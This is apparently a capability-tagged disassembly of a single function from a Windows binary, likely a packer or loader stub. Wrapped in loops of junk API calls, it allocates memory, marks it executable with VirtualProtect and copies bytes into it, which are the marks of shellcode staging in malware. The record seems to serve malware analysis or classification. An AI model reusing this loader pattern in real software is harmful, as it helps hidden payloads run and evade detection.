Function at 0x4036a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x805357
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x184c
call fcn.0040d1e0
push ebx
push esi
xor esi, esi
cmp dword [0xc6a924], 0x5b1
push edi
jne 0x403745
push esi
lea eax, [esp + 0x5c]
push eax
push esi
push 0x402d98
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x3c]
call fcn.004039dc
push esi
mov dword [esp + 0x1868], esi
call fcn.00404571
pop ecx
call fcn.0040450f
lea ecx, [esp + 0x10]
call fcn.004032bc
lea ecx, [esp + 0x10]
call fcn.004032d5
push esi
push esi
call fcn.004049a7
push esi
call fcn.00404978
add esp, 0xc
push esi
call fcn.00404f1f
add dword [0xc6a924], 0x1134b
push dword [0xc6a924]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xc43ac4], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x403766
lea eax, [esp + 0x1c]
push eax
push 0x40
push dword [0xc6a924]
push dword [0xc43ac4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x4037c7
inc edi
cmp edi, 0x4f6a4
jl 0x4037a7
xor edi, edi
cmp dword [0xc6a924], esi
jbe 0x40381f
cmp dword [0xc6a924], 0xa8
mov eax, dword [0xc6b388]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc43ac4]
mov byte [ecx + edi], al
jne 0x403816
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e18
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0xc6a924]
jb 0x4037d1
xor edi, edi
mov eax, dword [0xc6a924]
add eax, edi
cmp eax, 0xe
jne 0x403877
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x85c]
push eax
push esi
push 0x402e90
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x403821
call fcn.0040357a
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403894
call fcn.00403686
inc edi
cmp edi, 0x6753f
jl 0x403887
push 0x7b
pop edi
cmp dword [0xc6a924], 0x86
jne 0x4038ee
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x402f28
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0x105c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x4038a0
push 0x402f44
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x185c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret